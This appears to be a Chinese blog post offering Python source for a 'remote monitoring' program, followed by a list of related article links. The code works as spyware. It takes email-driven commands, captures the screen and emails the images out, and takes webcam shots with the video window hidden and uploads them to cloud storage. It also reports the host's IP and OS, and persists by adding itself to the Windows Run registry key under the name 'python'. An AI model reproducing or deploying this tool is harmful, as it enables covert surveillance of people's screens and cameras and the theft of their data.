python操作攝像頭截圖實(shí)現(xiàn)遠(yuǎn)程監(jiān)控的例子
最近用python寫了一個(gè)遠(yuǎn)程監(jiān)控的程序,主要功能有:
1.用郵件控制所以功能
2.可以對(duì)屏幕截圖,屏幕截圖發(fā)送到郵箱
3.可以用攝像頭獲取圖片,這些圖片上傳到七牛
4.開機(jī)自啟動(dòng)
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申請(qǐng)
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#獲取ip
def getIP():
ip=socket.gethostbyname(socket.gethostname())
return ip
#獲取操作系統(tǒng)版本、
def getSystemVersion():
return platform.platform()
def send_Information(ip,system_version):
info='ip:'+ip+' '+'system version:'+system_version
print info
smtp=smtplib.SMTP()
smtp.connect('smtp.sina.com')
smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼
smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個(gè)郵箱
#截圖,圖片名為截圖時(shí)間
def screen_capture():
#獲取截圖時(shí)間
pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name='screen'+pic_time+'.jpg'
pic = ImageGrab.grab()
pic.save('%s' % pic_name)
print pic_name
#發(fā)送圖片
send_Img(pic_time,pic_name)
print pic_name
os.remove(pic_name)#刪除圖片
#發(fā)送截圖圖片到郵箱
def send_Img(pic_time,pic_name):
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = pic_time
msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')
msgRoot.attach(msgText)
#fp = open('F:\\1.jpg', 'rb')
fp = open(pic_name, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image1>')
msgRoot.attach(msgImage)
smtp = smtplib.SMTP()
smtp.connect('smtp.sina.com','25')
smtp.login("sender@sina.com","*****")
smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())
smtp.quit()
print 'send success'
#攝像頭截圖,每隔SLEEP_TIME秒截取一張
def camera_capture():
#抓取頻率
SLEEP_TIME=3
i=0
cam=Device(devnum=0, showVideoWindow=0)
while i<10:
cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
cam_name='camera'+cam_time+'.jpg'
cam.saveSnapshot(cam_name,3,1,'bl')
camera_upload(cam_name)
print str(i)+cam_name
os.remove(cam_name)
time.sleep(SLEEP_TIME)
i+=1
#上傳到七牛
def camera_upload(file):
policy = qiniu.rs.PutPolicy('iloster') #空間名,iloster是我的空間名
uptoken = policy.token()
ret, err = qiniu.io.put_file(uptoken, None, file)
if err is not None:
sys.stderr.write('error: %s ' % err)
#獲取最新郵件
def accept_mail():
pop=poplib.POP3_SSL('pop.qq.com')
pop.user('receiver@qq.com')
pop.pass_('*****')
#獲取郵件數(shù)目
(num,totalSize)=pop.stat()
#獲取最新的郵件
(heard,msg,octets)=pop.retr(num)
mail=email.message_from_string("\n".join(msg))
subject=email.Header.decode_header(mail['subject'])[0][0] #標(biāo)題
pop.quit()
return subject
#獲得程序的路徑
def getPath():
path=os.getcwd()+'\Remote.exe' #最后打包的exe程序名必須為Remote.exe,或者把這里改一下
print path
return path
#添加開機(jī)自啟動(dòng),在注冊(cè)表里注冊(cè)
def add_start(path):
subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
#print win32api.RegQueryValueEx(key,'python')
win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
add_start(getPath()) #添加開機(jī)自啟動(dòng)
send_Information(getIP(),getSystemVersion())
while 1: #不斷的監(jiān)聽
if accept_mail()=='screen': #當(dāng)獲取的郵件主題為screen時(shí),截取屏幕信息
screen_capture()
elif accept_mail()=='camera':
camera_capture()
注意:
1.我的發(fā)送郵箱是sina郵箱,接收郵箱是qq郵箱,這樣做是因?yàn)槲⑿趴梢越壎╭q郵箱。
2.accept_mail()監(jiān)聽的郵箱是自己的接收郵箱,就是我用的qq郵箱
3.當(dāng)監(jiān)聽到screen時(shí),開始屏幕截圖并發(fā)送到郵箱,由于監(jiān)聽的是最新的郵件,當(dāng)圖片發(fā)送帶郵箱時(shí),獲取的郵件主題不是screen了,應(yīng)該會(huì)停止截圖,最后只會(huì)截取一張圖片,繼續(xù)保持監(jiān)聽狀態(tài)。但實(shí)際由于網(wǎng)絡(luò)的原因,發(fā)送的郵件會(huì)有延遲,所以,實(shí)際截取的圖片會(huì)有很多張
4.當(dāng)監(jiān)聽到camera時(shí),會(huì)用攝像頭截圖,如果把while i<10,改成i=1,會(huì)讓攝像頭一直截圖,并使其他命令失效,所以我i<10,就是每獲取一次命令,截圖10張
相關(guān)文章
Python練習(xí)之讀取XML節(jié)點(diǎn)和屬性值的方法
這篇文章主要介紹了Python練習(xí)之讀取XML節(jié)點(diǎn)和屬性值的方法,通過parse函數(shù)可以讀取XML文檔,該函數(shù)返回ElementTree類型的對(duì)象,通過該對(duì)象的iterfind方法可以對(duì)XML中特定節(jié)點(diǎn)進(jìn)行迭代2022-06-06Python實(shí)現(xiàn)設(shè)置windows桌面壁紙代碼分享
這篇文章主要介紹了Python實(shí)現(xiàn)設(shè)置windows桌面壁紙,本文直接給出實(shí)現(xiàn)代碼,需要的朋友可以參考下2015-03-03針對(duì)Pandas的總結(jié)以及數(shù)據(jù)讀取_pd.read_csv()的使用詳解
這篇文章主要針對(duì)Pandas總結(jié)以及數(shù)據(jù)讀取_pd.read_csv()的使用詳解做出了實(shí)例,講解非常全面,值得收藏,需要的朋友可以參考下2023-03-03Python新手學(xué)習(xí)標(biāo)準(zhǔn)庫(kù)模塊命名
在本篇內(nèi)容中,小編給大家分享的是關(guān)于Python標(biāo)準(zhǔn)庫(kù)模塊命名詳解內(nèi)容,有需要的朋友們可以參考下。2020-05-05Python入門教程(十八)Python的For循環(huán)
這篇文章主要介紹了Python入門教程(十八)Python的For循環(huán),Python是一門非常強(qiáng)大好用的語(yǔ)言,也有著易上手的特性,本文為入門教程,需要的朋友可以參考下2023-04-04在Python的struct模塊中進(jìn)行數(shù)據(jù)格式轉(zhuǎn)換的方法
這篇文章主要介紹了在Python的struct模塊中進(jìn)行數(shù)據(jù)格式轉(zhuǎn)換的方法,文中還給出了C語(yǔ)言和Python語(yǔ)言的數(shù)據(jù)類型比較,需要的朋友可以參考下2015-06-06